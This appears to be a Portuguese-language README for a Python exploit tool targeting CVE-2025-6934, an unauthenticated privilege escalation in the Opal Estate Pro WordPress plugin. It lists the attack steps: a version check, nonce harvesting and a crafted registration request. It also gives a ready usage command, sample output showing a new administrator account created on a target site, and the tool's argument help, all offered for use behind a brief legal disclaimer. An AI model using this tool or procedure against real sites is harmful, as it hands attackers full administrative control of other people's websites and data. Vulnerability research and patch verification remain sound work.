🛡️ CVE-2025-6934 - Escalação de Privilégios Não Autenticada no Opal Estate Pro

📝 Descrição

O plugin Opal Estate Pro – Property Management and Submission para WordPress, usado pelo FullHouse - Real Estate Responsive WordPress Theme, é vulnerável à Escalação de Privilégios em todas as versões até e incluindo a 1.7.5.

• ID do CVE: CVE-2025-6934
• Pontuação CVSS: 9.8 (Crítico)
• Publicado: 30 de junho de 2025

⚙️ Informações do Script

Este exploit em Python automatiza o processo de escalação de privilégios ao:

• Verificando a versão vulnerável do plugin via readme.txt.
• Obtendo o nonce necessário na página de registro.
• Enviando uma solicitação de registro elaborada para obter acesso de Administrador.

🚀 Exemplo de Uso

python CVE-2025-6934.py -u http://target-site.com/login-default/ -mail [email protected] -password nxp1234

📤 Exemplo de Saída

[•] Plugin Version Check:
    [+] Vulnerable version detected: 1.7.5

[•] Exploit Attempt Started
    [+] Nonce Found: 70dd70630b
    [+] HTTP Status: 200

[✔] Exploit Successful!
    --------------------------
    Username : nxploitedadmin
    Email    : [email protected]
    Password : nxp1234
    Role     : administrator
    --------------------------

Exploit By: Khaled_alenazi (Nxploited) | https://github.com/Nxploited

🛠️ Argumentos e Ajuda

usage: CVE-2025-6934.py [-h] -u URL -mail NEWMAIL -password NEWPASSWORD

CVE-2025-6934 Exploit by Khaled Alenazi (Nxploited)

options:
  -h, --help              show this help message and exit
  -u, --url URL           Target URL (e.g., http://site.com/path/)
  -mail, --newmail NEWMAIL
                          Email to register as admin
  -password, --newpassword NEWPASSWORD
                          Password for new admin user

⚠️ Aviso Legal

Este script destina-se apenas a fins de teste de segurança educacional e autorizado.
O uso não autorizado desta ferramenta contra alvos sem consentimento é estritamente proibido.

Por: Khaled_alenazi (Nxploited)